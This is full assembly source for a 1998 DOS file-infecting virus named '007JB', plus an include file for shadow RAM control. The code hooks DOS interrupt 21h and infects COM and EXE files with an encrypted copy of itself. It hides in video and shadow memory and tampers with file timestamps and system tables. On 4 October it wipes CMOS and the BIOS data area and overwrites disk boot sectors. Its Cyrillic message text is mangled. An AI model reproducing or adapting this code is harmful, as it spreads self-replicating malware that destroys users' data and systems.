[007.asm] ;DEBUG equ TRUE ;ssssoooo cc_loader_ptr equ 007005E0h cc_video_ptr equ 0AE000100h cc_shadow_ptr equ 0C6F00100h cc_temp_ptr equ 0BE000100h file_id_offs equ 12h file_id equ '07' magic_i equ 829Ah magic_o equ 829Bh o equ (word ptr 0) s equ (word ptr 2) mve macro x, y push y pop x endm dta_struc struc ; internal dta_driveletter db ? ; 0=A: dta_name8 db 8 dup (?) ; dta_ext3 db 3 dup (?) ; dta_searchattr db ? ; dta_direntrynum dw ? ; 0=. 1=.. dta_dircluster dw ? dd ? ; unused ; public dta_attr db ? ; 1=r 32=a 16=d 2=h 4=s 8=v dta_time dw ? ; 第 dta_date dw ? ; dta_size dd ? dta_name db 13 dup (?) ends exe_struc struc exe_mz dw ? ; MZ/ZM exe_last512 dw ? exe_num512 dw ? exe_relnum dw ? exe_headersize dw ? ; in PAR exe_minmem dw ? exe_maxmem dw ? exe_ss dw ? exe_sp dw ? exe_checksum dw ? ; 0 exe_ip dw ? exe_cs dw ? exe_relofs dw ? exe_ovrnum dw ? ; 0 db 32 dup (?) exe_neptr dd ? ends model small p386 locals __ jumps code segment word public use16 assume cs:code, ds:code, es:code, ss:code org 100h start: c1_start: call initialize db 13,10 db '007JB.' db virsize / 1000 mod 10 + '0' db virsize / 100 mod 10 + '0' db virsize / 10 mod 10 + '0' db virsize / 1 mod 10 + '0' db ' virus ver.1.01.2[Beta] copyright (c) 1998 by 007JB',13,10 db 'thanx to Z0MBiE/29A & S.S.R.',13,10 db 13,10 c1_size equ $-c1_start com_start: call code_unxor c2_start: call antiweb pusha call sux orig db 64 dup (?) orig_size equ $-orig sux: pop si mov di, 100h mov cx, orig_size rep movsb mov si, 1234h start_ptr equ word ptr $-2 mov ax, cs add ax, 1000h mov es, ax mov di, 100h mov cx, virsize rep movsb popa push cs push 0100h push es push offset tsr retf c2_size equ $-c2_start exe_start: call code_unxor c3_start: call antiweb push ax mov ax, es add cs:save_cs, ax add cs:save_ss, ax pop ax push cs call tsr lss sp, cs:save_sssp db 0eah save_ip dw ? save_cs dw ? antiweb: nop nop ret save_sssp label dword save_sp dw ? save_ss dw ? dosver db ? c3_size equ $-c3_start code_unxor: pusha mov bx, 1234h zero_ptr equ word ptr $-2 in al, 40h and ax, 7 mov dx, ax add dl, 88h __1: in al, 40h or al, al jz __1 mov ah, al out dx, al in al, dx sub al, ah cbw ror ax, 1 lea dx, code_w_unxor[bx] sub dx, ax call code_calldx popa ret code_calldx: lea si, c1_start mov cx, c1_size call dx lea si, c2_start mov cx, c2_size call dx lea si, c3_start mov cx, c3_size call dx lea si, c4_start mov cx, c4_size call dx ret code_w_unxor: shr cx, 1 __1: add word ptr cs:[si+bx], 1111h add_word equ word ptr $-2 xor word ptr cs:[si+bx], 2222h xor_word equ word ptr $-2 sub word ptr cs:[si+bx], 3333h sub_word equ word ptr $-2 inc si inc si loop __1 ret c4_start: code_xor: pusha lea dx, code_w_xor call code_calldx popa ret code_w_xor: shr cx, 1 add si, cryptedvir-start __1: mov ax, sub_word add [si], ax mov ax, xor_word xor [si], ax mov ax, add_word sub [si], ax inc si inc si loop __1 ret tsr: pusha ; FAR push ds es mve ds, cs cld mov ah, 2ah int 21h cmp dx, 0A04h ; 4 oct. je kill_em mov ax, magic_i int 21h cmp ax, magic_o je __exit mov ax, 3306h int 21h cmp bl, 7 je __dos7 cmp bl, 6 jne __exit __dos7: mov dosver, bl mov ax, 1130h mov bh, 2 int 10h mov ax, es add bp, 15 and bp, 0fff0h shr bp, 4 add ax, bp sub ax, 16 mov shadow_ptr.s, ax mov shadow_ptr.o, 0100h mov ax, 3521h int 21h mov old21.o, bx mov old21.s, es mov ax, 3508h int 21h mov old08.o, bx mov old08.s, es mov al, 3 out 80h, al out 81h, al mov al, 0ffh out 87h, al call move_to_shadow cmp dosver, 7 je __skip1 call move_to_vga les di, loader_ptr mve ds, cs lea si, loader mov cx, loader_size rep movsb __skip1: mov ax, 2503h lds dx, cs:shadow_ptr add dx, int03-start int 21h mov ax, 2508h mov ds, cs:shadow_ptr.s lea dx, int08 int 21h mov ax, 2521h lds dx, cs:loader_ptr cmp cs:dosver, 7 jne __skip2 mov ds, cs:shadow_ptr.s lea dx, alt_21 __skip2: int 21h __exit: pop es ds popa retf kill_em: IFDEF DEBUG int 3 ELSE nop ENDIF call kill_40 call kill_cmos mve es, cs lea bx, mbr call kill_mbr db 0eah dd 0f000fff0h mbr: cli xor bx, bx mov ss, bx mov sp, 7c00h sti call kill_40 mov ds, bx mov es, bx call kill_cmos mov bx, 7c00h call kill_mbr call pop_msg db 13,10 db 13,10 db ' ⥯ , , 쬥.',13,10 db ' ࠧॡ 쬮? , , ⥭稢, 㡮 . ;)))',13,10 db ' 室 ࠢ...',13,10 db '. 뤭. .',13,10 db ', ४. - ⢮?... ᥣ ;)',13,10 db ' 祬 ᯨ$ ?',13,10 db ', ᠬ ᫠? , $-, ⮩... -#...',13,10 db 0 kill_40: mve es, 40h xor di, di mov cx, 256 xor al, al cld rep stosb ret kill_cmos: xor ax, ax __1: out 70h, al out 71h, al inc al jnz __1 ret kill_mbr: mov dx, 0000h call __1 inc dx call __1 mov dx, 0080h call __1 inc dx __1: mov ax, 0301h mov cx, 0001h int 13h ret pop_msg: pop si cld __1: lodsb mov ah, 0eh mov bx, 7 int 10h or al, al jnz __1 loader_ptr dd cc_loader_ptr loader: pusha push ds es call port_set db 0eah video_ptr dd cc_video_ptr port_set: mov dx, 03c4h mov ax, 0402h out dx, ax mov ax, 0704h out dx, ax mov dx, 03ceh mov ax, 0005h out dx, ax mov ax, 0406h out dx, ax mov ax, 0204h out dx, ax ret loader_size equ $-loader port_reset: mov dx, 03c4h mov ax, 0302h out dx, ax mov ax, 0304h out dx, ax mov dx, 03ceh mov ax, 1005h out dx, ax mov ax, 0e06h out dx, ax mov ax, 0004h out dx, ax ret db 20 dup (0f6h) i = $ org mbr + 512 - 2 dw 0aa55h org i shadow_ptr dd cc_shadow_ptr invideo: call move_to_shadow push cs:shadow_ptr.s mov ax, cs:shadow_ptr.o add ax, inshadow-start push ax retf move_to_vga: in al, 81h or al, al jz __exit dec al out 81h, al call port_set mve ds, cs les di, video_ptr lea si, start mov cx, virsize cld rep movsb db 09ah dd cc_video_ptr + check_me-start call port_reset __exit: ret check_me: IFDEF DEBUG nop nop nop ELSE db 0cdh,03h db 0cch ENDIF retf move_to_shadow: in al, 80h or al, al jz __exit dec al out 80h, al call shadow_open mve ds, cs lea si, start les di, shadow_ptr mov cx, virsize cld rep movsb call shadow_close __exit: ret inshadow: call port_reset pop es ds popa alt_21: cmp ax, magic_i je ax_magic_i cmp ah, 04Bh je infect_dsdx cmp ah, 03Dh je infect_dsdx cmp ah, 043h je infect_dsdx cmp ah, 056h je infect_dsdx int21_exit: db 0eah old21 dd ? ax_magic_i: IFDEF DEBUG int 3 ELSE nop ENDIF mov ax, magic_o iret ;; shadow_open: pushf cli call reg_save call get_sh_state or sh_w, seg_c000_32k and sh_c, NOT seg_c000_32k call set_sh_state call reg_load popf ret int03: nop nop iret shadow_close: pushf cli call reg_save call get_sh_state and sh_w, NOT seg_c000_32k or sh_c, seg_c000_32k call set_sh_state call reg_load popf ret reg_save: mov cs:save_eax, eax mov cs:save_ebx, ebx mov cs:save_ecx, ecx mov cs:save_edx, edx mov cs:save_esi, esi mov cs:save_edi, edi mov cs:save_ebp, ebp ret reg_load: mov eax, cs:save_eax mov ebx, cs:save_ebx mov ecx, cs:save_ecx mov edx, cs:save_edx mov esi, cs:save_esi mov edi, cs:save_edi mov ebp, cs:save_ebp ret save_eax dd ? save_ebx dd ? save_ecx dd ? save_edx dd ? save_esi dd ? save_edi dd ? save_ebp dd ? locals @@ include sh.inc locals __ ;; infect_dsdx: pusha push ds es in al, 87h cmp al, 7 je __exit mov ah, 0fh int 10h cmp al, 3 jne __exit lea si, start les di, cs:temp_ptr mov cx, virsize cld segcs rep movsb db 09ah dd cc_temp_ptr + infect_file-start __exit: pop es ds popa jmp int21_exit temp_ptr dd cc_temp_ptr infect_file: IFDEF DEBUG int 3 ELSE nop ENDIF mov al, 7 out 87h, al mov ah, 60h mov si, dx mve es, cs lea di, filename call call21 mve ds, cs lea si, filename cld __1: lodsb or al, al jnz __1 sub si, 1+3+1 lodsd or eax, 20202000h cmp eax, 'moc.' jne __2 call infect_com jmp __exit __2: cmp eax, 'exe.' jne __3 call infect_exe jmp __exit __3: __exit: mov al, 0FFh out 87h, al IFDEF DEBUG int 3 ELSE nop ENDIF retf call21: pushf call cs:old21 ret file_init: mov ah, 2fh call call21 push es push bx mov ah, 1ah mve ds, cs lea dx, dta call call21 mov ah, 4eh lea dx, filename mov cx, 1+2+4+32 call call21 mov ah, 1ah pop dx pop ds call call21 mve ds, cs ret file_open: cmp dosver, 7 jne __1 mov ax, 4301h lea dx, filename xor cx, cx call call21 jc __exit mov ax, 3d02h jmp __2 __1: mov ax, 3d00h __2: lea dx, filename call call21 jc __exit xchg bx, ax __exit: ret file_close: mve ds, cs mov ah, 3eh call call21 jc __exit cmp dosver, 7 jne __exit mov ax, 4301h xor cx, cx mov cl, dta.dta_attr lea dx, filename call call21 __exit: ret infect_com: call file_init jc __exit call check_avail jc __exit call file_open jc __exit mov ah, 3fh lea dx, orig mov cx, orig_size call call21 cmp orig.word ptr file_id_offs, file_id je __settime mov ax, 4202h cwd xor cx, cx call call21 push ax mov zero_ptr, ax add ax, 100h mov start_ptr, ax pop ax lea si, orig lea di, compatch mov cx, orig_size mve es, cs cld rep movsb mov compatch.byte ptr 0, 0E9h add ax, com_start-start - 3 mov compatch.word ptr 1, ax mov compatch.word ptr file_id_offs, file_id call infect_1 mov ah, 40h lea dx, compatch mov cx, orig_size call call21 inc com_counter __settime: call set_v_time __close: call file_close __exit: ret set_v_time: call fuck_sft mov ax, 5701h mov dx, dta.dta_date mov cx, dx xchg ch, cl call call21 ret fuck_sft: pusha cmp cs:dosver, 7 je __exit mov ax, 1220h int 2fh mov bl, es:[di] mov ax, 1216h int 2fh mov es:[di].word ptr 2, 0002h __exit: popa ret com_counter dw 8 ; hehe exe_counter dw 31 check_avail: mov ax, dta.dta_size.o mov dx, dta.dta_size.s or dx, dx jnz __exit cmp ax, 300 jbe __exit cmp ax, 65536-256-2 - virsize ja __exit mov cx, 1000 div cx cmp dx, 7 jbe __exit mov dx, dta.dta_date mov cx, dx xchg ch, cl cmp cx, dta.dta_time je __exit clc ret __exit: stc ret infect_exe: call file_init jc __exit call check_avail jc __exit call file_open jc __exit mov ah, 3fh lea dx, exe mov cx, size exe_struc call call21 cmp exe.word ptr file_id_offs, file_id je __settime mov ax, exe.exe_mz cmp ax, 'ZM' jne __close mov ax, exe.exe_num512 dec ax jz __close xor dx, dx mov cx, 512 mul cx add ax, exe.exe_last512 jc __close cmp ax, dta.dta_size.word ptr 0 jne __close mov ax, exe.exe_ss add ax, 16 mov save_ss, ax mov ax, exe.exe_sp mov save_sp, ax mov ax, exe.exe_cs add ax, 16 mov save_cs, ax mov ax, exe.exe_ip mov save_ip, ax mov ax, dta.dta_size.word ptr 0 mov cx, exe.exe_headersize shl cx, 4 sub ax, cx add ax, 15 and ax, 0fff0h shr ax, 4 sub ax, 16 mov exe.exe_cs, ax mov exe.exe_ip, offset exe_start mov exe.exe_ss, ax mov exe.exe_sp, offset exe_sptr mov exe.word ptr file_id_offs, file_id mov zero_ptr, 0 mov start_ptr, 100h mov si, dta.dta_size.word ptr 0 add si, 15 and si, 0fff0h mov ax, si add ax, virsize jc __close xor dx, dx mov cx, 512 div cx inc ax mov exe.exe_num512, ax mov exe.exe_last512, dx mov ax, exe.exe_minmem add ax, exememory jnc __1 mov ax, -1 __1: mov exe.exe_minmem, ax mov ax, exe.exe_maxmem add ax, exememory jnc __2 mov ax, -1 __2: mov exe.exe_maxmem, ax mov ax, 4200h mov dx, si xor cx, cx call call21 call infect_1 mov ah, 40h lea dx, exe mov cx, size exe_struc call call21 inc exe_counter __settime: call set_v_time __close: call file_close __exit: ret infect_1: call fuck_sft call random mov xor_word, ax call random mov add_word, ax call random mov sub_word, ax lea si, start lea di, cryptedvir mve es, cs mov cx, virsize cld rep movsb call code_xor mov ah, 40h lea dx, cryptedvir mov cx, virsize call call21 mov ax, 4200h cwd xor cx, cx call call21 ret random: push bx mov bx, 1234h rndword equ word ptr $-2 in al, 40h xor bl, al in al, 40h add bh, al in al, 41h sub bl, al in al, 41h xor bh, al in al, 42h add bl, al in al, 42h sub bh, al ; mov cs:rndword, bx xchg bx, ax pop bx test al, 1 ret int08: nop nop db 0eah old08 dd ? db 16 dup (0F6h) c4_size equ $-c4_start virsize equ $-start codeend: even filename db 256 dup (?) compatch db orig_size dup (?) dta dta_struc ? exe exe_struc ? cryptedvir db virsize+1 dup (?) even db 512 dup (?) exe_sptr: exememory equ ($-codeend+15)/16 initialize: mov start.byte ptr 0, 0E9h mov start.word ptr 1, invideo-(start+3) push cs call tsr mov ax, 4c00h int 21h code ends end start [007.asm] [sh.inc] ; unused ; reserved ;   ; BX=readable 00x? xxxx xxxx xxxx B ; CX=writeable 00x? xxxx xxxx xxxx B ; DX=cacheable 00x? xxxx xxxx xxxx B ; SI=reserved 00x? xxxx xxxx xxxx B ;     ; EC00, 16K ; E800, 16K ; E400, 16K ; E000, 16K ; ; DC00, 16K ; D800, 16K ; D400, 16K ; D000, 16K ; ; CC00, 16K ; C800, 16K ; C400, 16K ; C000, 16K ; ; F000, 64k sh_R equ bx sh_W equ cx sh_C equ dx sh_X equ si seg_all equ 0010111111111111b seg_F000_64k equ 0010000000000000b seg_C000_64k equ 0000111100000000b seg_C000_32k equ 0000110000000000b seg_C800_32k equ 0000001100000000b seg_C000_16k equ 0000100000000000b seg_C400_16k equ 0000010000000000b seg_C800_16k equ 0000001000000000b seg_CC00_16k equ 0000000100000000b seg_D000_64k equ 0000000011110000b seg_D000_32k equ 0000000011000000b seg_D800_32k equ 0000000000110000b seg_D000_16k equ 0000000010000000b seg_D400_16k equ 0000000001000000b seg_D800_16k equ 0000000000100000b seg_DC00_16k equ 0000000000010000b seg_E000_64k equ 0000000000001111b seg_E000_32k equ 0000000000001100b seg_E800_32k equ 0000000000000011b seg_E000_16k equ 0000000000001000b seg_E400_16k equ 0000000000000100b seg_E800_16k equ 0000000000000010b seg_EC00_16k equ 0000000000000001b read_cf8: cf8_read: mov ax, 8000h shl eax, 10h mov ax, cx and al, not 3 mov dx, 0CF8h out dx, eax add dl, 4 mov al, cl and al, 3 add dl, al in al, dx ret write_cf8: cf8_write: xchg ax, cx shl ecx, 10h xchg ax, cx mov ax, 8000h shl eax, 10h mov ax, cx and al, not 3 mov dx, 0CF8h out dx, eax add dl, 4 mov al, cl and al, 3 add dl, al shr ecx, 10h mov ax, cx out dx, al ret get_sh_state: mov di, 0059h @@1: push cx dx mov cx, di call cf8_read pop dx cx mov ah, 2 @@2: shl al, 1 rcl si, 1 shl al, 1 rcl dx, 1 shl al, 1 rcl cx, 1 shl al, 1 rcl bx, 1 dec ah jnz @@2 inc di cmp di, 005fh jbe @@1 ret set_sh_state: mov di, 005Fh @@1: mov ah, 2 @@2: shr bx, 1 rcr al, 1 shr cx, 1 rcr al, 1 shr dx, 1 rcr al, 1 shr si, 1 rcr al, 1 dec ah jnz @@2 push cx dx mov cx, di call cf8_write pop dx cx dec di cmp di, 0059h jae @@1 ret [sh.inc]